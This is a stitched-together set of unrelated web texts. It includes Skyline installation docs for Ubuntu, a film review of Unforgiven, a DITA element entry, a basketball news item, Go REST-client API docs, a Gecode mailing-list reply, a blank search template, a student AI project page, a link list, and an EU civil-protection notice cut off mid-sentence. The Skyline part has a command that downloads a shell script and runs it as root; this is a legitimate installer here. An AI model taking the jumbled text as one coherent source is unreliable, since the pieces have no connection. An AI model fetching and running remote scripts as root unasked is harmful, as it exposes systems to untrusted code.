NO LONGER SUPPORTED (OS now end of life) Ubuntu 16.04.4 LTS (last build time 21 mins)
Note that is recommended to run Skyline on CentOS Stream 8 because development, testing and production instances are run on CentOS Stream 8. Although the build script works on Ubuntu and all the applications run, there is no long term or production testing done on Ubuntu.
The build script has user defined variables that can be edited directly in the script or read from /etc/skyline/skyline.dawn.conf. The build script does the following:
Install the build requirements via yum or apt-get
Install the latest MariaDB server via yum or apt-get, configures it for
innodb_file_per_table=1
,starts it and secures it.Downloads (builds), installs, configures and starts Redis (or redis-stack-server)
Installs memcached and its dependencies, configures and starts it
Creates a skyline system user
Downloads, builds and deploys the current Skyline Python version (3.8.17) and sets up the Skyline Python virtualenv
Creates the required Skyline directories
Clones the Skyline repo and checkouts the declared version
Installs Skyline requirements.txt
Install nginx and deploys the Skyline reverse proxy config and creates the htpasswd resource
Creates a self-signed SSL certificate for the Skyline reverse proxy vhost
Deploys the Skyline
skyline/settings.py
with the declared variablesCreates the Skyline MariaDB database and grants privileges
Installs, configures and starts Graphite (carbon-cache, carbon-relay and graphite-web). If you already have Graphite this can be disabled by setting
INSTALL_GRAPHITE=0
in the skyline.dawn.confStarts the Skyline services
Seeds Skyline with an anomalous time series data for
horizon.test.udp
metric and which creates an anomaly to be reviewed in the Skyline webapp UIThe script creates tmp files in /tmp/skyline.dawn.* file namespace so it can be run in an idempotent manner.
Review https://github.com/earthgecko/skyline/blob/master/utils/dawn/skyline.dawn.sh at least take the time to look through it to see what it is doing.
redis-server or redis-stack-server
As of Skyline v4.0.0 there is the ability to install redis-stack-server which adds Redis Timeseries for the ingestion and storage of labelled metrics (Prometheus, InfluxDB, etc label/value style metrics). Although this is possible using the normal Redis server by building and compiling the Redis Timeseries module to be loaded by Redis, it introduces non standard gcc-toolset packages which are required to build the Redis Timeseries module. Although this does work it is messy and has an effect on the sudo package. Therefore by default the build script now installs redis-stack-server binaries which include the Redis Timeseries module. Although the are official redis.io package management repos for redis-stack-server, they often provide release candidate versions rather than stable versions. For this reason redis-stack-server is downloaded at the latest stable version (at the time of the build script release) and is fixed to that version until the next release at which the build script will be updated. It is still possible to deploy redis-server rather than redis-stack-server using the build script, but Redis Timeseries will not be available and therefore labelled metrics cannot not be ingested and stored.
Prometheus and VictoriaMetrics
As of Skyline v4.0.0 there is the ability to install Prometheus and VictoriaMetrics
via the build script. If you opt to install Prometheus, VictoriaMetrics will be
installed as well. If you have your own Prometheus server/s and you want to
ingest their metrics, you must install VictoriaMetrics, e.g.
INSTALL_VICTORIAMETRICS=1
. Skyline uses VictoriaMetrics for its own storage of
labelled metrics.
Deploy using the build script
This should not be run on any machine that is already doing something, it should be a machine that is dedicated to running Skyline. Running this on an existing node may break whatever you are running on the machine.
This build script must be run as the root user (not tested with sudo), but the deployed Skyline does not run as root it is runs with deployed skyline user. Graphite services are run as root and proxied with nginx.
With Ubuntu the build script needs to be supervised because apt asks questions a number of times and requires user input.
Replace all the <YOUR_
variables with your own variables before pasting into
the terminal or change them in an editor and save on the server to
/etc/skyline/skyline.dawn.conf:
# Create the Skyline config dir
mkdir -p /etc/skyline
# Create YOUR Skyline dawn config and REPLACE THE <YOUR_ variables with your own
echo 'YOUR_SERVER_IP_ADDRESS="<YOUR_SERVER_PUBLIC_IP>" # YOUR Skyline server public IP address
YOUR_SKYLINE_SERVER_FQDN="<YOUR_SKYLINE_FQDN>" # YOUR Skyline server FQDN (does not need DNS for testing purposes)
YOUR_OTHER_IP_ADDRESS="<YOUR_IP_ADDRESS>" # YOUR current public IP address that you will be connecting from
WEBAPP_AUTH_USER="admin" # The username you want to use for http authentication
WEBAPP_AUTH_USER_PASSWORD="<YOUR_HTTP_AUTH_PASSWORD>" # The password you want to use for http authentication
MYSQL_ROOT_PASSWORD="<YOUR_ROOT_MYSQL_USER_PASSWORD>" # The MySQL root user password
MYSQL_SKYLINE_PASSWORD="<YOUR_SKYLINE_MYSQL_USER_PASSWORD>" # The Skyline DB user password
REDIS_PASSWORD="<YOUR_REALLY_REALLY_LONG_Redis_PASSWORD>" # The Redis password
SKYLINE_RELEASE="v4.0.0" # The Skyline release/branch/commit to deploy
INSTALL_GRAPHITE=1 # Install Graphite 0 = no, 1 = yes
GRAPHITE_VERSION=1.1.10
INSTALL_PROMETHUES=0 # Install Prometheus 0 = no, 1 = yes
PROMETHEUS_VERSION="2.45.0"
INSTALL_VICTORIAMETRICS=0 # Install VictoriaMetric 0 = no, 1 = yes (CentOS 8 only)
VICTORIAMETRICS_VERSION="1.87.6"' > /etc/skyline/skyline.dawn.conf
# Check that the configurations are as desired, specifically check that
# the IP address declared in YOUR_SERVER_IP_ADDRESS from the USE_IP variable
# is correct
cat /etc/skyline/skyline.dawn.conf
if [ -f /etc/redhat-release ]; then
yum -y install wget
else
sudo apt-get install wget
fi
# Fetch
wget -O /tmp/skyline.dawn.sh https://raw.githubusercontent.com/earthgecko/skyline/master/utils/dawn/skyline.dawn.sh
# Run it
chmod 0755 /tmp/skyline.dawn.sh
/tmp/skyline.dawn.sh # This will take ~30mins
Add an entry into your /etc/hosts file that maps the instance IP to YOUR_SKYLINE_SERVER_FQDN and open the reported URL in your web browser, accepting the self signed SSL certificate.
Check the Skyline logs.
# Check the logs
tail -n 60 /var/log/skyline/*.log
All Installed services are controlled via systemctl
Skyline services: analyzer.service analyzer_batch.service boundary.service crucible.service flux.service horizon.service ionosphere.service luminosity.service mirage.service panorama.service snab.service snab_flux_load_test.service thunder.service vista.service webapp.service
Graphite services: carbon-cache.service carbon-relay.service graphite.service
MariaDB: mariadb.service
memcached: memcached.service
nginx: nginx.service
Redis: redis_6379.service (or redis-stack-server.service)
All services can be stopped and started using the service name (with or without the .service extension) for example:
systemctl start analyzer
systemctl status analyzer
systemctl stop analyzer
Relevant configuration files
Skyline nginx - /etc/nginx/conf.d/<YOUR_SKYLINE_FQDN>.conf
Graphite nginx - /etc/nginx/conf.d/graphite.conf
Redis - /etc/redis/6379.conf (or /etc/redis-stack.conf)
Graphite - /opt/graphite/conf/carbon.conf, /opt/graphite/conf/relay-rules.conf /opt/graphite/conf/storage-schemas.conf and /opt/graphite/conf/storage-aggregation.conf
Skyline - /etc/skyline/skyline.conf and /opt/skyline/github/skyline/skyline/settings.py
Take Skyline for a spin
After having browsed through the Skyline UI and Graphite and letting it run for a while (> 1 hour) so data Skyline is populated with some data, if you wish to just test Skyline and get a feel for what it does and see it do some real analysis, etc, you can run snab_flux_load_test.
Be aware if you run snab_flux_load_test you will probably want to destroy the instance and rebuild it if you want to run it for real because snab_flux_load_test will create a lot of test metrics and data.
If you are running a 4 CPU instance then testing with 15000 metrics is reasonable (if not decide for yourself how many to test with).
To run snab_flux_load_test change the following variable in /opt/skyline/github/skyline/skyline/settings.py to the below values.
ANALYZER_PROCESSES = 3 # Must be <= to CPUs available
SNAB_FLUX_LOAD_TEST_ENABLED = True
SNAB_FLUX_LOAD_TEST_METRICS = 15000
Restart analyzer and then start snab_flux_load_test
systemctl restart analyzer
systemctl start snab_flux_load_test
You will immediately see the number of metrics in carbon.relays.<HOSTNAME>-a.metricsReceived
go up and after a short time if you have let Skyline run for > 1 hour beforehand
you will start to see on the carbon.
and skyline.
metric namespaces.
Remember after playing around with snab_flux_load_test, destroy the instance and rebuild it clean for your real metrics.
Post installation tasks
If you wish to keep the instance running and use it then you need to do the following things.
Configure the machine firewall to only allow the machine’s own public IP and trusted IPs on the <PUBLIC_IP> on the following ports 2003 (Graphite line protocol), 2004 (Graphite pickle protocol), 8888 (Graphite webapp) and 443 (Skyline).
Change the Graphite config in /opt/graphite/conf/carbon.conf under the
[relay]
section only changeLINE_RECEIVER_INTERFACE
,PICKLE_RECEIVER_INTERFACE
to listen on the public IP rather than <IP_ADDRESS> so that other machines can send Graphite data via <PUBLIC_IP>:2003 and :2004Change the
CARBON_HOST
andSKYLINE_METRICS_CARBON_HOST
in the Skyline settings file /opt/skyline/github/skyline/skyline/settings.py to public IP rather than <IP_ADDRESS> as well.Replace the self-signed SSL certificate that is serving Skyline with a real SSL certificate.
Add the machine’s own public IP and other trusted IPs to /etc/nginx/conf.d/<YOUR_SKYLINE_FQDN>.conf and /etc/nginx/conf.d/graphite.conf
Install and configure postfix or sendmail (or use AWS SES) to handle email and configure Skyline SMTP related settings.
In /opt/skyline/github/skyline/skyline/settings.py replace the occurrences of
no_email
with the email address you want alerts sent to.


UNFORGIVEN [Spoilers] A film review by Eric Walker Copyright 1992 Eric Walker
NOTE: Spoilers for the movie UNFORGIVEN appear below. Normally I try to reveal as little of the movie's plot as possible, but this time I want to do more than simply say what a good movie it is.
* * *
With the release of Clint Eastwood's UNFORGIVEN, the American Western has returned to the movies with a vengeance.
One might say that John Wayne's THE SHOOTIST marked the end of an era, as the mythic, larger-than-life Old West came to a close. Despite several attempts to "revitalize" the genre, from the disastrous HEAVEN'S GATE to PALE RIDER (in which Eastwood himself emulated Alan Ladd's Shane) to SILVERADO, the Western was effectively dead and buried in Hollywood. YOUNG GUNS and its sequel managed to make a quick buck off of the popularity of its "brat pack" cast, but those movies could hardly live up to the standards set by the likes of John Ford and Sergio Leone.
But seemingly from out of nowhere, Kevin Costner pulled off the coup of the decade with DANCES WITH WOLVES. This shamelessly politically- correct movie was entertaining in its own right, and it proved that even the Hollywood Western could be recreated in the era of the 1990s. More importantly, it was a smash box-office hit. Hollywood looked up and realized that yes, people *do* still watch Westerns.
Flash-forward to 1992. Ron Howard makes FAR AND AWAY, and he also bows to the gods of Political Correctness. FAR AND AWAY was a light and fluffy folk tale that tried to be an "epic saga." It succeeded on the popcorn level, but failed to achieve anything higher than that.
Enter Clint Eastwood.
A FISTFUL OF DOLLARS, the movie that made Eastwood a star, proved to be the death knell of the Classical Western of good-and- bad. The so-called "spaghetti Westerns" reflected the way America's tastes in movies were changing in the 1960s, as they sought to de-mythify the Western and bring it down to earth. Now, with UNFORGIVEN, Eastwood once again makes a name for himself, and once again he brings the Western to another level.
Eastwood plays the role of Bill Munny, a grizzled old retired gunfighter who has settled down to raise hogs with his two children. Everything seems peaceful, though he doesn't seem very happy. What's more, he doesn't seem to be having much luck as a homesteader. His wife died three years ago, and the hogs are coming down with fever.
But then along comes a young man calling himself the "Schofield Kid." He's heard about a $1,000 reward being offered by a small-town brothel for killing two men, and he's looking for a partner to help him do it. Munny had quite a reputation as a gunfighter, and so he's offered the role. He accepts.
During the first half or so of the movie, Munny keeps repeating how he's no longer a killer the way he used to be - his wife changed all that. This is, in fact, only partially true: Munny has mellowed with age, but he was born to be a gunfighter, and we know that his attempts to convince everyone that he's not a killer are only half-hearted.
In fact, Munny's return to way of the gun marks more than his own return - it's symbolic of the way the Western genre itself has come back to claim its former place. The gunfighter has returned from retirement, but he's not the man he used to be. The old gunfighter with the white hat of the Golden Age of Hollywood is history; today's gunfighter is a complex, struggling figure who is anything but the good Paladin of old.
This story deliberately takes every Western cliche and turns it on its side. Notice the way the movie pokes fun at the classic scenes of target practice, where the gunfighter shoots at a can sitting on a log; or the ease with which the gunfighter can mount his horse and be off in a matter of microseconds; or the way a man can fall from his horse and suffer only a few scratches. Sometimes the revisions are so deliberate that they stand out from the rest of the movie, as in one scene where Eastwood reaches behind a bar to get a bottle of whiskey to smash his attacker's face; but this never detracts from the story as a whole. Every scene, every line has its purpose.
But despite these little in-jokes, Eastwood achieves far more than a mere parody of the Western. All of the characters in UNFORGIVEN are richly developed, with their own sets of morals and their own ideals of right and wrong. The entire movie is set in the grey area of morals, so that we don't really know who is right and who is wrong.
The story begins when two cowboys participate in the shame of a prostitute, slashing her face so that she can no longer work. Her fellow ladies are outraged at the way her plight is heartlessly treated by the Sherriff, and so they offer a $1,000 reward to the people who can come into town and kill the two men. But it's not as simple as that. The question is raised: is the scarring of a woman worth the lives of two men? She was cruelly treated and the men deserved to be punished, but is killing them the right answer? In fact, when one of the two men tries to make amends above and beyond the payment he is forced to give (he tries to give the woman his best pony), his gesture of apology is literally thrown back into his face.
The morals question is also reflected in the Sherriff, Little Bill Daggett (played to perfection by Gene Hackman). He knows that in a frontier town such as this one (its name is "Big Whiskey"), he must rule with an iron hand - and he honestly believes that he is keeping law and order in town. He enforces a code that requires all visitors to the town to turn their guns over to him - a rule that he hopes will keep any bounty hunters from trying to claim the reward. We see how he enacts his "justice" on one such hopeful, a gentlemanly chap named English Bob who turns out to be no gentleman. He beats and kicks Bob almost to death - but he does so as a warning to other potential trouble-makers. In the harsh times of the Western frontier, his cruel way of sending this "message" may actually be justified, because he's doing it to a would-be murderer who wants to kill a person he is sworn to protect.
In a similar fashion, Little Bill takes time out to explain the lack of morality on the Frontier to a traveling writer, W. W. Beauchamp. This man was formerly English Bob's companion, but he decides to hang around Little Bill because Bill wants to tell him "the truth" as opposed to Bob's wild stories. In UNFORGIVEN, W. W. actually represents us, the viewing audience. For many a year, we've seen Westerns that portray the Wild Wild West as a fantasy land of justice and morals, where the Good Guys play fair and the Bad Guys always win in the end. W. W. is writing a silly book that romanticizes English Bill's exploits, describing them in a fashion that we've heard in the classic Westerns. But Little Bill tells W. W. what it's "really" like to be a gunfighter, and he blasts the myth of the Old West to pieces. As W. W. learns what a harsh and dangerous place the West can be, so to do we ourselves learn that there is no true "Right" and "Wrong" in the realistic world of the new Hollywood Western.
I haven't touched the main characters yet. There's the "Schofield Kid," who plays the role of the brash, boastful young wannabe gunfighter. He learns the harsh lesson that killing your first man is never what you think it will be, but in UNFORGIVEN it affects him as it never did in the Westerns of old. He reminded me a lot of the sassy young kid in RIDE THE HIGH COUNTRY, even to the point where he's only interested in the reward money. But he learns that money isn't everything.
Morgan Freeman plays Ned Logan, Bill Munny's old partner who has also retired from gunfighting. While he's also willing to get back on the saddle and earn a piece of the reward, it seems that retirement has taken its toll on him. He's the only one in the movie who has a distinct, clear set of morals - but this is only more proof that Eastwood's purpose in this movie was to kill off the simplistic ideals of the Classic Western once and for all.
(MAJOR SPOILER WARNING!)
It's with Ned Logan's character that Eastwood makes his only bow towards political correctness: not once in the movie is the fact that Ned is black mentioned. On one hand, this is a good move on Hollywood's part, but on the other hand it subtracts slightly from the realistic feel of the movie - after all, the 19th Century was as racist a time as ever there was, here in America. The problem here is with the ultimate fate of Ned Logan: does this constitute the Hollywood cliche of once again killing off a major black character in the cast, while the white guys live on to the end of the movie? Ned's death is an important plot twist, and it's certainly essential to the story. But casting Morgan Freeman in this role called my attention once again to the way blacks are portrayed in Hollywood movies. Or am I merely overreacting?
Mention must be made of the movie's superb direction as well. Despite its length (2 hours and 10 minutes seems to be the new Hollywood "epic" standard - *just* longer than the length of a typical two-hour videotape), this movie will keep you mesmerized from beginning to end.
The Frontier of UNFORGIVEN is a lonely place, where a cold wind blows day and night and the sky is often overcast. I remember seeing a sunny scene exactly three times in this movie: the very beginning and the very end (both of which are sunsets), and once during the middle of the movie where the scarred prostitute is talking to Bill Munny. Rain figures prominently in this movie, contrasting to the hot desert locations where most of the classic Westerns were filmed.
If you go to see UNFORGIVEN expecting another action flick in the order of A FISTFUL OF DOLLARS, you will be sorely disappointed. While the movie does end with a shootout (vastly different from the standard Hollywood Shootout Climax, however!), it's truly a drama of characters, where what a person says and how he acts is far more important than what he does and who he shoots.
This a thinking person's Western. If you hate Westerns, you will fall under the harsh spell of UNFORGIVEN. If you love Westerns, you will never forget this one. This is truly a movie for the ages, and future movies will look back upon this one for inspiration and guidance.
UNFORGIVEN is unforgettable. --- Channel 1 (R) Cambridge, MA
.
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


<groupchoice>
The <groupchoice>
element is part of the subset of elements that define
syntax diagrams in DITA. A group is a logical set of pieces of syntax that go together. A
group choice specifies that the user must make a choice about which part of the syntax to
use. Groups are often nested. This element is part of the DITA programming domain, a
special set of DITA elements designed to document programming tasks, concepts, and
reference information.
Category: Programming elements


Paul George lauds Kawhi Leonard after duo's maiden Clippers outing
by Sports DeskPaul George was thrilled to take to the court alongside Kawhi Leonard for the first time as the Los Angeles Clippers beat the Boston Celtics 107-104 in overtime.
After injuries to both players postponed their maiden outing together, the wait was ended in Wednesday's clash with the Celtics in LA.
George put up 25 points and eight assists, while Leonard finished with a 17-point haul that included a dazzling dunk over the towering Daniel Theis.
And George was full of praise for his fellow Spurs star.
"I mean, that's the Finals MVP, man," George said of Leonard. "He knows when it's time to take over.
"He's been there and he's won championships with multiple ball clubs, so he knows how to stomp and put that foot on opponents' neck and that's what you saw him do tonight.
"It was fun to see what this team can look like on the defensive end, and offensively it was fun to see how we can play off each other.
"The fact of the matter is we are going to have growing pains and I think the most positive thing is we understood that.
"Nobody was pointing fingers or dropping their heads in huddles ... at no point was this team ever dysfunctional."
For his part, Leonard recognises there is room for improvement as the duo bed in alongside each other, with game time the key.
"It's pretty much just finding each other's spots and knowing the plays," Leonard said.
"It's still tough. We are both kind of on a minute restriction, hard to get into a flow. But just knowing plays and each other's spots and the language on the defensive end [will help].
"Repetition is what we need right now."


func ConvertComandResult(comRes interface{}, prototype reflect.Type) (convRes interface{}, err error)
ConvertComandResult method helps get correct result from JSON by prototype Parameters:
- comRes interface{} input JSON string - prototype reflect.Type output object prototype
Returns: convRes interface{}, err error
CommandableHttpClient is abstract client that calls commandable HTTP service.
Commandable services are generated automatically for ICommandable objects. Each command is exposed as POST operation that receives all parameters in body object.
Configuration parameters:
base_route: base route for remote URI - connection(s): - discovery_key: (optional) a key to retrieve the connection from connect.idiscovery.html IDiscovery]] - protocol: connection protocol: http or https - host: host name or IP address - port: port number - uri: resource URI or connection string with all parameters in it - options: - retries: number of retries (default: 3) - connect_timeout: connection timeout in milliseconds (default: 10 sec) - timeout: invocation timeout in milliseconds (default: 10 sec)
References:
- *:logger:*:*:1.0 (optional) ILogger components to pass log messages - *:counters:*:*:1.0 (optional) ICounters components to pass collected measurements - *:discovery:*:*:1.0 (optional) IDiscovery services to resolve connection
Example:
type MyCommandableHttpClient struct{ *CommandableHttpClient prototype reflect.Type // type of operation data ... } result, err := func (c * MyCommandableHttpClient) GetData(correlationId string, id string)(result MyData, err error){ params:= cdata.NewEmptyStringValueMap() params.Set("id",id) res, err := c.CallCommand( prototype "get_data", correlationId, params) ... // convert response to MyData ... return result, err } client = NewMyCommandableHttpClient(); client.Configure(cconf.NewConfigParamsFromTuples( "connection.protocol", "http", "connection.host", "localhost", "connection.port", 8080 )); result, err := client.GetData("123", "1") ...
type CommandableHttpClient struct { *RestClient }
func NewCommandableHttpClient(baseRoute string) *CommandableHttpClient
NewCommandableHttpClient is creates a new instance of the client. Parameters:
- baseRoute string a base route for remote service.
Returns: *CommandableHttpClient pointer on new instance
func (c *CommandableHttpClient) CallCommand(prototype reflect.Type, name string, correlationId string, params *cdata.AnyValueMap) (result interface{}, err error)
CallCommand is calls a remote method via HTTP commadable protocol. The call is made via POST operation and all parameters are sent in body object. The complete route to remote method is defined as baseRoute + "/" + name. Parameters:
- prototype reflect.Type type of returned data - name string a name of the command to call. - correlationId string (optional) transaction id to trace execution through call chain. - params cdata.StringValueMap command parameters.
Returns: result interface{}, err error result or error.
DirectClient is bstract client that calls controller directly in the same memory space.
It is used when multiple microservices are deployed in a single container (monolyth) and communication between them can be done by direct calls rather then through the network.
Configuration parameters:
- dependencies:
- controller: override controller descriptor
References:
- *:logger:*:*:1.0 (optional) ILogger components to pass log messages - *:counters:*:*:1.0 (optional) ICounters components to pass collected measurements - *:controller:*:*:1.0 controller to call business methods
Example:
type MyDirectClient struct { *DirectClient } func MyDirectClient()* MyDirectClient { c:= MyDirectClient{} c.DirectClient = NewDirectClient() c.DependencyResolver.Put("controller", cref.NewDescriptor( "mygroup", "controller", "*", "*", "*")); } func (c *MyDirectClient) SetReferences(references cref.IReferences) { c.DirectClient.SetReferences(references) specificController, ok := c.Controller.(tdata.IMyDataController) if !ok { panic("MyDirectClient: Cant't resolv dependency 'controller' to IMyDataController") } c.specificController = specificController } ... func (c * MyDirectClient) GetData(correlationId string, id string)(result MyData, err error) { timing := c.Instrument(correlationId, "myclient.get_data") cmRes, cmdErr := c.specificController.GetData(correlationId, id) timing.EndTiming(); return c.InstrumentError(correlationId, "myclient.get_data", cmdRes, cmdErr) } ... client = NewMyDirectClient(); client.SetReferences(cref.NewReferencesFromTuples( cref.NewDescriptor("mygroup","controller","default","default","1.0"), controller, )); res, err := client.GetData("123", "1")
type DirectClient struct { //The controller reference. Controller interface{} //The open flag. Opened bool //The logger. Logger *clog.CompositeLogger //The performance counters Counters *ccount.CompositeCounters //The dependency resolver to get controller reference. DependencyResolver crefer.DependencyResolver // The tracer. Tracer *ctrace.CompositeTracer }
func NewDirectClient() *DirectClient
NewDirectClient is creates a new instance of the client.
func (c *DirectClient) Close(correlationId string) error
Close method are closes component and frees used resources.
- correlationId string (optional) transaction id to trace execution through call chain.
Returns: error error or nil no errors occured.
func (c *DirectClient) Configure(config *cconf.ConfigParams)
Configure method are configures component by passing configuration parameters. Parameters:
- config *cconf.ConfigParams configuration parameters to be set.
func (c *DirectClient) Instrument(correlationId string, name string) *service.InstrumentTiming
Instrument method are adds instrumentation to log calls and measure call time. It returns a Timing object that is used to end the time measurement. Parameters:
- correlationId string (optional) transaction id to trace execution through call chain. - name string a method name.
Returns Timing object to end the time measurement.
func (c *DirectClient) IsOpen() bool
IsOpen method are checks if the component is opened. Returns true if the component has been opened and false otherwise.
func (c *DirectClient) Open(correlationId string) error
Open method are opens the component.
- correlationId string (optional) transaction id to trace execution through call chain.
Returns: error error or nil no errors occured.
func (c *DirectClient) SetReferences(references crefer.IReferences)
SetReferences method are sets references to dependent components. Parameters: - references crefer.IReferences references to locate the component dependencies.
RestClient is abstract client that calls remove endpoints using HTTP/REST protocol.
Configuration parameters:
- base_route: base route for remote URI - connection(s): - discovery_key: (optional) a key to retrieve the connection from IDiscovery - protocol: connection protocol: http or https - host: host name or IP address - port: port number - uri: resource URI or connection string with all parameters in it - options: - retries: number of retries (default: 3) - connectTimeout: connection timeout in milliseconds (default: 10 sec) - timeout: invocation timeout in milliseconds (default: 10 sec) - correlation_id_place place for adding correalationId, query - in query string, headers - in headers, both - in query and headers (default: query)
References: - *:logger:*:*:1.0 (optional) ILogger components to pass log messages - *:counters:*:*:1.0 (optional) ICounters components to pass collected measurements - *:discovery:*:*:1.0 (optional) IDiscovery services to resolve connection
See RestService See CommandableHttpService
Example: type MyRestClient struct { *RestClient } ... func (c *MyRestClient) GetData(correlationId string, id string) (result *tdata.MyDataPage, err error) { params := cdata.NewEmptyStringValueMap() params.Set("id", id) calValue, calErr := c.Call(MyDataPageType, "get", "/data", correlationId, params, nil) if calErr != nil { return nil, calErr } result, _ = calValue.(*tdata.MyDataPage) c.Instrument(correlationId, "myData.get_page_by_filter") return result, nil } client := NewMyRestClient(); client.Configure(cconf.NewConfigParamsFromTuples( "connection.protocol", "http", "connection.host", "localhost", "connection.port", 8080, )); result, err := client.GetData("123", "1") ...
type RestClient struct { //The HTTP client. Client *http.Client //The connection resolver. ConnectionResolver rpccon.HttpConnectionResolver //The logger. Logger *clog.CompositeLogger //The performance counters. Counters *ccount.CompositeCounters // The tracer. Tracer *ctrace.CompositeTracer //The configuration options. Options cconf.ConfigParams //The base route. BaseRoute string //The number of retries. Retries int //The default headers to be added to every request. Headers cdata.StringValueMap //The connection timeout in milliseconds. ConnectTimeout int //The invocation timeout in milliseconds. Timeout int //The remote service uri which is calculated on open. Uri string // contains filtered or unexported fields }
func NewRestClient() *RestClient
NewRestClient creates new instance of RestClient Retruns pointer on NewRestClient
func (c *RestClient) AddCorrelationId(params *cdata.StringValueMap, correlationId string) *cdata.StringValueMap
AddCorrelationId method are adds a correlation id (correlation_id) to invocation parameter map. Parameters:
- params *cdata.StringValueMap invocation parameters. - correlationId string (optional) a correlation id to be added. Return invocation parameters with added correlation id.
func (c *RestClient) AddFilterParams(params *cdata.StringValueMap, filter *cdata.FilterParams) *cdata.StringValueMap
AddFilterParams method are adds filter parameters (with the same name as they defined) to invocation parameter map. Parameters:
- params *cdata.StringValueMap invocation parameters. - filter *cdata.FilterParams (optional) filter parameters
Return invocation parameters with added filter parameters.
func (c *RestClient) AddPagingParams(params *cdata.StringValueMap, paging *cdata.PagingParams) *cdata.StringValueMap
AddPagingParams method are adds paging parameters (skip, take, total) to invocation parameter map. Parameters:
- params invocation parameters. - paging (optional) paging parameters
Return invocation parameters with added paging parameters.
func (c *RestClient) Call(prototype reflect.Type, method string, route string, correlationId string, params *cdata.StringValueMap, data interface{}) (result interface{}, err error)
Call method are calls a remote method via HTTP/REST protocol. Parameters:
- prototype reflect.Type type for convert JSON result. Set nil for return raw JSON string - method string HTTP method: "get", "head", "post", "put", "delete" - route string a command route. Base route will be added to this route - correlationId string (optional) transaction id to trace execution through call chain. - params cdata.StringValueMap (optional) query parameters. - data interface{} (optional) body object.
Returns: result interface{}, err error result object or error.
func (c *RestClient) Close(correlationId string) error
Close method are closes component and frees used resources. Parameters:
- correlationId string (optional) transaction id to trace execution through call chain.
Retruns: error error or nil no errors occured.
func (c *RestClient) Configure(config *cconf.ConfigParams)
Configures component by passing configuration parameters. Parameters: - config *cconf.ConfigParams configuration parameters to be set.
func (c *RestClient) Instrument(correlationId string, name string) *service.InstrumentTiming
Instrument method are adds instrumentation to log calls and measure call time. It returns a Timing object that is used to end the time measurement. Parameters: - correlationId string (optional) transaction id to trace execution through call chain. - name string a method name. Return Timing object to end the time measurement.
func (c *RestClient) InstrumentError(correlationId string, name string, inErr error, inRes interface{}) (result interface{}, err error)
InstrumentError method are dds instrumentation to error handling.
- correlationId string (optional) transaction id to trace execution through call chain. - name string a method name. - err error an occured error - result interface{} (optional) an execution result
Returns: result interface{}, err error an execution result and error
func (c *RestClient) IsOpen() bool
IsOpen are checks if the component is opened. Return true if the component has been opened and false otherwise.
func (c *RestClient) Open(correlationId string) error
Open method are opens the component.
- correlationId string (optional) transaction id to trace execution through call chain.
Returns: error error or nil no errors occured.
func (c *RestClient) SetReferences(references crefer.IReferences)
Sets references to dependent components. Parameters: - references crefer.IReferences references to locate the component dependencies.


[gecode-users] Constrain the number of unique elements
Changbin Liu
changbin.liu at gmail.com
Thu Jan 14 15:59:36 CET 2010
Thanks, Guido
I used the same with (2), which works pretty good.
On Wed, Jan 13, 2010 at 12:20 PM, Guido Tack <tack at gecode.org> wrote:
> Changbin Liu wrote:
>
> > Hi, Folks:
> >
> > I am wondering whether there is a way to post a constraint on the
> number of unique elements in a array, e.g
> >
> > I have an IntVarArray, and it may has some identical elements, say it
> could be [1, 1, 2, 3, 4, 4], and the number of unique elements is 4, since
> there are 2 "1"s and 2 "4" which are both redundant. If I want to constrain
> that for a given IntVarArray, it number of unique element can not exceed
> some value, how can I do that? I checked "modelling with gecode", seems
> there is "count" for constraining the number of appearance of elements.
>
> Let's assume the IntVarArray is called x, and we want at most max unique
> elements.
>
> There are two possible ways to model this:
> (1) Use an additional IntVarArray y and a count constraint so that y[i] is
> the number of occurrences of the ith possible element. Then use reification
> to get Boolean variables b[i] <-> y[i] > 0, and the number of unique
> elements will be the sum of the Booleans, which you can constrain to be <
> max.
> (2) Use a SetVar tmp and constrain it to be the union of all x[i]:
> rel(home, SOT_UNION, x, tmp). Then a cardinality constraint
> cardinality(home,tmp,0,max) makes sure there's at most max unique elements.
>
> The advantage of (1) should be that you get stronger propagation, but (2)
> needs only one additional variable and may therefore be more efficient.
>
> Cheers,
> Guido
>
>
--
--------------------------------------------
Changbin Liu
Computer & Information Science Department
University of Pennsylvania
Philadelphia, PA
U.S.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://www.gecode.org/pipermail/users/attachments/20100114/2f8a17f0/attachment.htm>
More information about the users
mailing list


{{hits.found|format}} results found
-
{{data.title}}
directed by {{data.director}}
{{data.actor | join ' • ' | replace '([A-z ]*), ([A-z ]*)', '$2 $1'}}
-
Genre
- {{value|truncate 30}} {{count|format}}
Sorry, but you sort of need JavaScript for this one!


∙ A helping hand around the house
∙ Military uses
∙ Medical uses
∙ Get information in an instant!
∙ The Black Box can be assigned tasks.
(Ex: Setting Alarm, Gathering Info)
∙ The purpose of the Black Box is to ease the hardships of everyday life and make it easier in a way.
∙ You can customize it to do anything you want, you just have to give it instructions verbally.
Welcome to Black Box. In this page, you'll be able to create your own A.I.. You have a maximum of 100 points. Use those points to increase a certain aspect of your A.I..
Know about the team who created the Black Box, and even contact us!
|
Job: Editor |
Kevin: Desginer |
Bryan: Designer |
Jason: Designer |


Yet unsorted references:
This page contains some links that I have not yet sorted into other pages.
However, it is not a complete list of new additions. I add new links to other
pages almost every day. Please visit them often!
- GeekForce.org - Global Effort to Eradicate Know-nothings
-
Alexei Sharov has very interesting papers on
Biosemiotics
- Eurovid - Politics, Freedom and The Law
- HyperNews
- Tor SF and Fantasy
- CTHEORY
- The Cypherpunks Home Page
- The World Wide Web Initiative: The Project
- Usenet FAQs
- The Contact Center Network - Non-profit Resources
- Horizon Home Page
- Changes
- SLEEPY.ORG
- Upcoming Interesting Events


On Thursday 2nd February 2017 the Cabinet Office presented the EU Civil Protection Funding Information Day in Manchester which was hosted by Greater Manchester Fire & Rescue. The day gave delegates an opportunity to identify the opportunities available to secure European Union funding for civil protection projects, explore the application process as well as gain an insight into previous successful bids.
Mike Owen, Chief Executive of Bury Council provided an introduction and welcomed delegates to the session with the objectives for the day being set out by Dr Owen Jackson, Assistant Director, Civil Contingencies Secretariat. The objectives established for the day set out to:
